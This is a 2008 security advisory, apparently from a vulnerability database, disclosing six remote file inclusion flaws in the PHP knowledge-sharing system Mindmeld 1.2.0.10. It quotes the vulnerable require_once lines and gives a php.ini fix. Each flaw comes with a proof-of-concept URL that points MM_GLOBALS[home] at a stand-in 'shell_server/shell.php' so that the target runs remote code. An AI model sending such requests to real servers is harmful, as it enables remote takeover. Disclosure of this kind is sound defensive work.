Mindmeld 1.2.0.10 Multiple Remote File Inclusion Vulnerabilities

🗓️ 31 Jan 2008 00:00:00Reported by RootType

Mindmeld 1.2.0.10 Multiple Remote File Inclusion Vulnerabilities. Enterprise-capable knowledge-sharing system written in PHP has multiple remote file inclusion vulnerabilities in version 1.2.0.10. Vulnerable files and lines are acweb/admin_index.php: line 51, include/ask.inc.php: line 34, include/learn.inc.php: line 38, include/manage.inc.php: line 31, include/mind.inc.php: line 33, and include/sensory.inc.php: line 70. Quick fix in php.ini is to disable register_globals, allow_url_fopen, and allow_url_include


                                                Summary

Mindmeld&nbsp;is&nbsp;an,&nbsp;&quot;enterprise-capable&nbsp;knowledge-sharing&nbsp;system&quot;&nbsp;written&nbsp;&nbsp;
in&nbsp;PHP.&nbsp;&nbsp;There&nbsp;are&nbsp;multiple&nbsp;remote&nbsp;file&nbsp;inclusion&nbsp;vulnerabilities&nbsp;in&nbsp;&nbsp;
Mindmeld&nbsp;version&nbsp;1.2.0.10&nbsp;(latest&nbsp;version).

Details

1.&nbsp;Vulnerable&nbsp;File&nbsp;and&nbsp;Line:

Mindmeld-1.2.0.10/acweb/admin_index.php:&nbsp;line&nbsp;51
	require_once&nbsp;(&nbsp;$MM_GLOBALS['home'].&quot;include/utilities.inc&quot;&nbsp;);

PoC:

http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell&nbsp;
_server/shell.php?

---
2.&nbsp;Vulnerable&nbsp;file&nbsp;and&nbsp;line:

Mindmeld-1.2.0.10/include/ask.inc.php:&nbsp;line&nbsp;34
	require_once&nbsp;(&nbsp;$MM_GLOBALS['home']&nbsp;.&nbsp;&quot;interfaces&nbsp;&nbsp;
{$MM_GLOBALS['interface']}/include/&quot;&nbsp;.&nbsp;&nbsp;
&quot;interface_{$MM_GLOBALS['interface']}_ask.inc&quot;&nbsp;);

PoC:

http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http://&nbsp;
shell_server/shell.php?php?

---
3.&nbsp;Vulnerable&nbsp;File&nbsp;and&nbsp;Line:

Mindmeld-1.2.0.10/include/learn.inc.php:&nbsp;line&nbsp;38
	require_once&nbsp;(&nbsp;$MM_GLOBALS['home']&nbsp;.&nbsp;&quot;interfaces/&nbsp;
{$MM_GLOBALS['interface']}/include/&quot;

PoC:

http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell&nbsp;
_server/shell.php?

---
4.&nbsp;Vulnerable&nbsp;File&nbsp;and&nbsp;Line:

Mindmeld-1.2.0.10/include/manage.inc.php:&nbsp;line&nbsp;31
	require_once&nbsp;(&nbsp;$MM_GLOBALS['home']&nbsp;.&nbsp;&quot;interfaces/&nbsp;
{$MM_GLOBALS['interface']}/include/&quot;

PoC:

http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell&nbsp;
_server/shell.php?

---
5.&nbsp;Vulnerable&nbsp;File&nbsp;and&nbsp;Line:

Mindmeld-1.2.0.10/include/mind.inc.php:&nbsp;line&nbsp;33
	require_once(&nbsp;$MM_GLOBALS['home']&nbsp;.&nbsp;'include/utilities.inc'&nbsp;);

PoC:

http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell&nbsp;
_server/shell.php?

---
6.&nbsp;Vulnerable&nbsp;File&nbsp;and&nbsp;Line:

Mindmeld-1.2.0.10/include/sensory.inc.php:&nbsp;line&nbsp;70
	require_once&nbsp;(&nbsp;$MM_GLOBALS['home']&nbsp;.&nbsp;&quot;include/utilities.inc&quot;&nbsp;);

PoC:

http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell&nbsp;
_server/shell.php?

---
It&nbsp;appears&nbsp;that&nbsp;these&nbsp;vulnerabilities&nbsp;are&nbsp;not&nbsp;vulnerable&nbsp;to&nbsp;local&nbsp;file&nbsp;&nbsp;
includes.

These&nbsp;vulnerabilities&nbsp;have&nbsp;been&nbsp;disclosed&nbsp;to&nbsp;the&nbsp;vendor&nbsp;although&nbsp;&nbsp;
development&nbsp;on&nbsp;this&nbsp;software&nbsp;has&nbsp;stopped.

Sources:

http://mindmeld.sourceforge.net/

Quick&nbsp;Fix:

In&nbsp;php.ini,&nbsp;disable&nbsp;the&nbsp;following&nbsp;variables:&nbsp;register_globals,&nbsp;&nbsp;
allow_url_fopen,&nbsp;and&nbsp;allow_url_include.

Credit:

David&nbsp;Wharton

31 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1